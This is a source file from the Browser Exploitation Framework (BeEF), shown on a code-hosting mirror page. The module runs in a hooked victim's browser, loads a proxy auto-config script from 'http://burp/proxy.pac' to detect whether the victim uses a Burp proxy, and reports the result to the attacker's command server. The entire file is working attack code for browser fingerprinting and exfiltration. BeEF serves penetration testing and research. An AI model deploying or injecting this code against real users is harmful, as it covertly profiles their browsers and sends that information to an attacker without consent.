Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/detect_burp/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
load_script = function(url) {
10
var s = document.createElement("script");
11
s.type = 'text/javascript';
12
s.src = url;
13
document.body.appendChild(s);
14
}
15
16
get_proxy = function() {
17
try {
18
var response = FindProxyForURL('', '');
19
beef.debug("Response: " + response);
20
beef.net.send("<%= @command_url %>", <%= @command_id %>,
21
"has_burp=true&response=" + response, beef.are.status_success());
22
} catch(e) {
23
beef.debug("Response: " + e.message);
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error());
25
}
26
}
27
28
load_script("http://burp/proxy.pac");
29
setTimeout("get_proxy()", 10000);
30
31
});
32
33
34